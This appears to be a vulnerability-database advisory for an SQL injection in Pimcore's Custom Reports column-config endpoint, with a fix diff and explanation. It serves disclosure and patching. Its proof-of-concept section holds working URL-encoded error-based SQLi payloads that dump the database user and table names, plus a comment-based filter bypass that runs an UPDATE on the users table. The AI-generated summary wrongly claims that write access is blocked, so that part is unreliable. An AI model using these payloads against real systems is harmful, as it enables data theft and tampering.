VYPR
High severity8.7GHSA Advisory· Published May 27, 2026· Updated May 27, 2026

Pimcore Vulnerable to SQL Injection in Custom Reports Column Configuration

CVE-2026-44739

Description

Summary

The columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques.

### Affected scope bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php CustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative()

### Details * The columnConfigAction endpoint in `` bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:197 ` receives a configuration JSON string from the request body. * The configuration is decoded and the first element is extracted in `bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:207-208.` * The Sql adapter is instantiated based on the user-controlled type field in `bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:216.` * The controller calls getColumnsWithMetadata in `bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:217`, which in turn calls getColumns in `bundles/CustomReportsBundle/src/Tool/Adapter/AbstractAdapter.php:47`. * The Sql::getColumns method in` bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:60` calls buildQueryString at `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:64.` * buildQueryString in `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:81` concatenates various fields from the user-provided * configuration (like sql, from, where) directly into the SQL query string (lines 89, 100, 107). * The constructed SQL string is checked against a weak regex in `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:67`, which can be bypassed using comments __(e.g. UPDATE/**/)__ or by using permitted SELECT statements to exfiltrate data from unauthorized tables. * The query is executed without parameterization using `$db->fetchAssociative($sql)` in `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:70.` * Any resulting database exception is caught in the controller and the error message is returned in the JSON response at `bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:234``, enabling error-based exfiltration.

### PoC * Download and install the version Pimcore <=12.3.3 (latest) * Login using Admin account or any account that has reports_config permission * Navigate to custom reports * Capture the request using burp suite and perform SQLi attack as the following 1. Get Database username `` POST /admin/bundle/customreports/custom-report/column-config HTTP/1.1 Host: localhost Content-Length: 310 sec-ch-ua-platform: "Linux" Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142" sec-ch-ua-mobile: ?0 X-pimcore-extjs-version-minor: 0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 X-pimcore-csrf-token: 2e42012c8310823bbdbce1598bdecfd19cb5e9c4 X-pimcore-extjs-version-major: 7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/admin/ Accept-Encoding: gzip, deflate, br Cookie: pimcore_admin_auth_profile_token=9f990b; PHPSESSID=d101f6fce4d87b8bdbbe800f9f50c82a; _pc_vis=3a17250fba52c657; _pc_ses=1774896807012; _pc_tss=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjEwNzE3LCJwdGciOnsiX20iOjEsIl9jIjoxNzc0ODk2ODA1LCJfdSI6MTc3NDg5NzUxNCwidmk6c3J1IjpbN119LCJleHAiOjE3NzQ4OTkzMTR9.uO4iHiABylQ2KyZC0p8Li9hpgWfHnNQ01GUkbeY1Wmc; _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjExNTA4LCJwdGciOnsiY21mOnNnIjp7Ijg2MCI6Mn0sIl9jIjoxNzc0ODc2MzQyLCJfdSI6MTc3NDg5NjgwNX0sImV4cCI6MTgwNjQzMzUxNH0.mhq_2qwWzWWGruI0VNnAwgs8QzfZfbc6Za0uGn7zNYM Connection: keep-alive configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``

2. Get Database name `` configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(select%2bcurrent_setting(%24%24is_superuser%24%24))%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``

3. Get Tables names __Note__: Update the limit parameter to iterate around the tables queries like limit 0,1 limit 1,1 , limit 2,1 ..etc `` configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema%3ddatabase()%20LIMIT%200%2c1)%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``

4. Bypass the implemented Regex and perform SQL updat eto for exmaple update the admin username `` configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22*%22%2c%22from%22%3a%22users%22%2c%22where%22%3a%22id%3d1)%2f**%2fOR%2f**%2f1%3d1%3b%2f**%2fUPDATE%2f**%2fusers%2f**%2fSET%2f**%2fname%3d'admin'%2f**%2fWHERE%2f**%2fname%3d'admin2'%3b--%20-%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``

Impact

By exploiting this vulneability any user with custom-report access could manipuate and crawl the database information and also bypass the application filters to Update,insert or delete database tables, which impact on the application confidentiality ,intergrity and service availability

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

SQL injection in Pimcore CustomReportsBundle columnConfigAction allows attackers with reports_config permission to exfiltrate data via error-based SQL injection.

Vulnerability

The columnConfigAction endpoint in CustomReportsBundle (pimcore <=12.3.5) is vulnerable to SQL injection. The buildQueryString method in Sql.php concatenates user-controlled fields (sql, from, where) directly into SQL queries. A weak regex only blocks certain DDL/DML keywords but allows arbitrary SELECT, UNION, and database functions. [1][2]

Exploitation

An attacker with the reports_config permission sends a crafted JSON configuration to the endpoint. The malicious SQL is concatenated into a query, and the application returns database error messages in JSON responses, enabling error-based SQL injection to exfiltrate data. [1][2]

Impact

Successful exploitation allows an attacker to read arbitrary database contents, potentially exposing sensitive data. The attacker does not gain write access (DDL/DML blocked) but can execute arbitrary SELECT queries with UNION. [1][2]

Mitigation

The fix was implemented in commit [3] (PR #19098 [4]), adding stripSqlCommentsForValidation and improving the regex to use \s instead of a space. Pimcore versions after 12.3.5 are patched. No workaround is available; upgrade is required. [3][4]

AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2
  • Pimcore/PimcoreGHSA2 versions
    <= 12.3.5+ 1 more
    • (no CPE)range: <= 12.3.5
    • (no CPE)range: <=12.3.3

Patches

1
3fd7733464f4

[Security]: Enhance SQL security in Custom Report (#19098)

https://github.com/pimcore/pimcoreJiaJia JiApr 29, 2026via ghsa-ref
1 file changed · +16 2
  • bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php+16 2 modified
    @@ -63,8 +63,11 @@ public function getColumns(?stdClass $configuration): array
             if ($configuration) {
                 $sql = $this->buildQueryString($configuration);
             }
    +        $sqlStripped = $this->stripSqlCommentsForValidation($sql);
     
    -        if (!preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE) /i', $sql, $matches)) {
    +        if (
    +            !preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', $sqlStripped, $matches)
    +        ) {
                 $sql .= ' LIMIT 0,1';
                 $db = Db::get();
                 $res = $db->fetchAssociative($sql);
    @@ -188,7 +191,10 @@ protected function getBaseQuery(array $filters, array $fields, bool $ignoreSelec
                 }
             }
     
    -        if (!preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE) /i', $sql, $matches)) {
    +        $sqlStripped = $this->stripSqlCommentsForValidation($sql);
    +        if (
    +            !preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', $sqlStripped, $matches)
    +        ) {
                 $condition = implode(' AND ', $condition);
     
                 $total = 'SELECT COUNT(*) FROM (' . $sql . ') AS somerandxyz WHERE ' . $condition;
    @@ -235,4 +241,12 @@ public function getAvailableOptions(array $filters, string $field, array $drillD
                 ),
             ];
         }
    +
    +    private function stripSqlCommentsForValidation(string $sql): string
    +    {
    +        $sqlStripped = preg_replace('/\/\*!\d*\s*(.*?)\*\//s', ' $1 ', $sql);
    +        $sqlStripped = preg_replace('/\/\*(?!\!).*?\*\//s', ' ', $sqlStripped ?? '');
    +        $sqlStripped = preg_replace('/\s+/', ' ', $sqlStripped ?? '');
    +        return $sqlStripped;
    +    }
     }
    

Vulnerability mechanics

Root cause

"User-controlled SQL configuration fields are concatenated directly into a query string without parameterization, and the keyword-blocking regex can be bypassed with inline comments."

Attack vector

An attacker with the `reports_config` permission sends a POST request to `/admin/bundle/customreports/custom-report/column-config` with a `configuration` parameter containing a JSON payload. The payload includes a `type` field set to `"sql"` and attacker-controlled `sql`, `from`, and `where` fields that are concatenated into a SQL query. The application's regex filter (`/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE) /i`) is bypassed using inline comments (e.g., `UPDATE/**/`) or by using permitted `SELECT` statements with `UNION` or error-based functions like `EXTRACTVALUE`. Database error messages are reflected in the JSON response, enabling error-based data exfiltration [ref_id=1].

Affected code

The vulnerability resides in `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php`. The `getColumns` method (line 60) calls `buildQueryString` (line 64), which concatenates user-controlled fields (`sql`, `from`, `where`) directly into a SQL string (lines 89, 100, 107). The resulting query is checked against a weak regex at line 67 and executed without parameterization via `$db->fetchAssociative($sql)` at line 70. Database exceptions are returned in the JSON response by the controller at `bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:234` [ref_id=1].

What the fix does

The patch introduces a new private method `stripSqlCommentsForValidation` in `Sql.php` that strips both standard (`/*...*/`) and MySQL-specific (`/*!...*/`) comments from the SQL string before validation [patch_id=2595958]. The regex pattern is also hardened: the trailing space is replaced with `\s` (whitespace character class) to catch keyword-whitespace combinations that previously bypassed the filter. Both `getColumns` and `getBaseQuery` now validate the comment-stripped SQL string (`$sqlStripped`) instead of the raw string, preventing comment-based bypasses of the DDL/DML keyword blocklist [patch_id=2595958].

Preconditions

  • authAttacker must have the 'reports_config' permission (typically an admin or custom-report user)
  • networkAttacker must be able to send HTTP POST requests to the /admin/bundle/customreports/custom-report/column-config endpoint
  • inputAttacker must supply a JSON configuration payload with type='sql' and malicious sql/from/where fields

Reproduction

1. Install Pimcore version ≤12.3.5 and log in with an account that has the `reports_config` permission. 2. Navigate to Custom Reports and capture the column-config request. 3. Send a POST to `/admin/bundle/customreports/custom-report/column-config` with a URL-encoded configuration payload. For example, to extract the database username, use: `configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes` [ref_id=1]. 4. To bypass the keyword filter for DML/DDL operations, inject comments such as `/**/` between the keyword and its argument (e.g., `UPDATE/**/users`) [ref_id=1].

Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

5

News mentions

0

No linked articles in our index yet.